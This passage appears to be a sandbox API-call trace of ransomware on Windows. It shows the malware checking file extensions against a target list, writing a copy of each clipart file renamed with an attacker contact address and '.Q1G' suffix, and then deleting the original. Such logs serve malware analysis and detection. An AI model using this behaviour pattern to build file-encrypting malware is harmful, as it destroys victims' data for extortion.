Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.636] lstrlenW (lpString=".doc") returned 4 [0263.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString=".docx") returned 5 [0263.636] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.636] lstrlenW (lpString=".pdf") returned 4 [0263.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString=".xls") returned 4 [0263.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.636] lstrlenW (lpString=".xlsx") returned 5 [0263.636] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.636] lstrlenW (lpString=".ppt") returned 4 [0263.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.636] lstrlenW (lpString=".zip") returned 4 [0263.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.636] lstrlenW (lpString=".rar") returned 4 [0263.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString=".bz2") returned 4 [0263.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString=".7z") returned 3 [0263.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.636] lstrlenW (lpString=".dbf") returned 4 [0263.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.636] lstrlenW (lpString=".1cd") returned 4 [0263.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.636] lstrlenW (lpString=".jpg") returned 4 [0263.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.637] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.637] lstrlenW (lpString="J0157177.WMF") returned 12 [0263.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.637] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=21716) returned 1 [0263.637] CloseHandle (hObject=0x1c0) returned 1 [0263.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 0x20 [0263.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.638] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.638] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.638] GetLastError () returned 0x0 [0263.638] ReadFile (in: hFile=0x1c0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x54d4, lpOverlapped=0x0) returned 1 [0263.838] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x54e0, lpOverlapped=0x0) returned 1 [0263.840] ReadFile (in: hFile=0x1c0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.840] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.840] SetEndOfFile (hFile=0x3dc) returned 1 [0263.840] CloseHandle (hObject=0x3dc) returned 1 [0263.840] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.840] SetEndOfFile (hFile=0x1c0) returned 1 [0263.842] CloseHandle (hObject=0x1c0) returned 1 [0263.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0263.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.844] lstrlenW (lpString=".doc") returned 4 [0263.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.844] lstrlenW (lpString=".docx") returned 5 [0263.844] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.844] lstrlenW (lpString=".pdf") returned 4 [0263.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.844] lstrlenW (lpString=".xls") returned 4 [0263.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.844] lstrlenW (lpString=".xlsx") returned 5 [0263.844] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.844] lstrlenW (lpString=".ppt") returned 4 [0263.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.844] lstrlenW (lpString=".zip") returned 4 [0263.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.844] lstrlenW (lpString=".rar") returned 4 [0263.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.844] lstrlenW (lpString=".bz2") returned 4 [0263.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.844] lstrlenW (lpString=".7z") returned 3 [0263.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString=".dbf") returned 4 [0263.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString=".1cd") returned 4 [0263.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString=".jpg") returned 4 [0263.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString=".doc") returned 4 [0263.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString=".docx") returned 5 [0263.845] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.845] lstrlenW (lpString=".pdf") returned 4 [0263.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString=".xls") returned 4 [0263.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.845] lstrlenW (lpString=".xlsx") returned 5 [0263.845] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.845] lstrlenW (lpString=".ppt") returned 4 [0263.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString=".zip") returned 4 [0263.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.845] lstrlenW (lpString=".rar") returned 4 [0263.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString=".bz2") returned 4 [0263.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString=".7z") returned 3 [0263.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString=".dbf") returned 4 [0263.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.845] lstrlenW (lpString=".1cd") returned 4 [0263.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0263.846] lstrlenW (lpString=".jpg") returned 4 [0263.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.846] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.846] lstrlenW (lpString="J0172067.WMF") returned 12 [0263.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.886] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=7028) returned 1 [0263.886] CloseHandle (hObject=0x3e0) returned 1 [0263.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 0x20 [0263.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.900] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.900] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.901] GetLastError () returned 0x0 [0263.901] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1b74, lpOverlapped=0x0) returned 1 [0263.938] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1b80, lpOverlapped=0x0) returned 1 [0263.939] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.939] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.939] SetEndOfFile (hFile=0x388) returned 1 [0263.939] CloseHandle (hObject=0x388) returned 1 [0263.940] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.940] SetEndOfFile (hFile=0x3a8) returned 1 [0263.941] CloseHandle (hObject=0x3a8) returned 1 [0263.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 1 [0263.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.942] lstrlenW (lpString=".doc") returned 4 [0263.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString=".docx") returned 5 [0263.943] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.943] lstrlenW (lpString=".pdf") returned 4 [0263.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString=".xls") returned 4 [0263.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.943] lstrlenW (lpString=".xlsx") returned 5 [0263.943] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.943] lstrlenW (lpString=".ppt") returned 4 [0263.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.943] lstrlenW (lpString=".zip") returned 4 [0263.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.943] lstrlenW (lpString=".rar") returned 4 [0263.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString=".bz2") returned 4 [0263.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString=".7z") returned 3 [0263.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.943] lstrlenW (lpString=".dbf") returned 4 [0263.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.943] lstrlenW (lpString=".1cd") returned 4 [0263.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.943] lstrlenW (lpString=".jpg") returned 4 [0263.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.943] lstrlenW (lpString=".doc") returned 4 [0263.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.943] lstrlenW (lpString=".docx") returned 5 [0263.943] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.944] lstrlenW (lpString=".pdf") returned 4 [0263.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.944] lstrlenW (lpString=".xls") returned 4 [0263.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.944] lstrlenW (lpString=".xlsx") returned 5 [0263.944] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.944] lstrlenW (lpString=".ppt") returned 4 [0263.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.944] lstrlenW (lpString=".zip") returned 4 [0263.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.944] lstrlenW (lpString=".rar") returned 4 [0263.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.944] lstrlenW (lpString=".bz2") returned 4 [0263.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.944] lstrlenW (lpString=".7z") returned 3 [0263.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.944] lstrlenW (lpString=".dbf") returned 4 [0263.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.944] lstrlenW (lpString=".1cd") returned 4 [0263.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0263.944] lstrlenW (lpString=".jpg") returned 4 [0263.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.944] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0263.944] lstrlenW (lpString="J0175361.JPG") returned 12 [0263.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.945] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=46461) returned 1 [0263.945] CloseHandle (hObject=0x3a8) returned 1 [0263.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 0x20 [0263.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.945] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.945] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.946] GetLastError () returned 0x0 [0263.946] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb57d, lpOverlapped=0x0) returned 1 [0263.985] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xb580, lpOverlapped=0x0) returned 1 [0263.986] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.987] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.987] SetEndOfFile (hFile=0x388) returned 1 [0263.987] CloseHandle (hObject=0x388) returned 1 [0263.987] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.987] SetEndOfFile (hFile=0x3a8) returned 1 [0263.990] CloseHandle (hObject=0x3a8) returned 1 [0263.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 1 [0264.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.046] lstrlenW (lpString=".doc") returned 4 [0264.046] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.046] lstrlenW (lpString=".docx") returned 5 [0264.046] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0264.046] lstrlenW (lpString=".pdf") returned 4 [0264.046] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.046] lstrlenW (lpString=".xls") returned 4 [0264.046] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.046] lstrlenW (lpString=".xlsx") returned 5 [0264.046] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0264.046] lstrlenW (lpString=".ppt") returned 4 [0264.046] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.046] lstrlenW (lpString=".zip") returned 4 [0264.046] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.046] lstrlenW (lpString=".rar") returned 4 [0264.046] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.046] lstrlenW (lpString=".bz2") returned 4 [0264.046] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.046] lstrlenW (lpString=".7z") returned 3 [0264.046] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.046] lstrlenW (lpString=".dbf") returned 4 [0264.046] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.046] lstrlenW (lpString=".1cd") returned 4 [0264.046] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.046] lstrlenW (lpString=".jpg") returned 4 [0264.046] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.047] lstrlenW (lpString=".doc") returned 4 [0264.047] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.047] lstrlenW (lpString=".docx") returned 5 [0264.047] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0264.047] lstrlenW (lpString=".pdf") returned 4 [0264.047] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.047] lstrlenW (lpString=".xls") returned 4 [0264.047] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.047] lstrlenW (lpString=".xlsx") returned 5 [0264.047] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0264.047] lstrlenW (lpString=".ppt") returned 4 [0264.047] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.047] 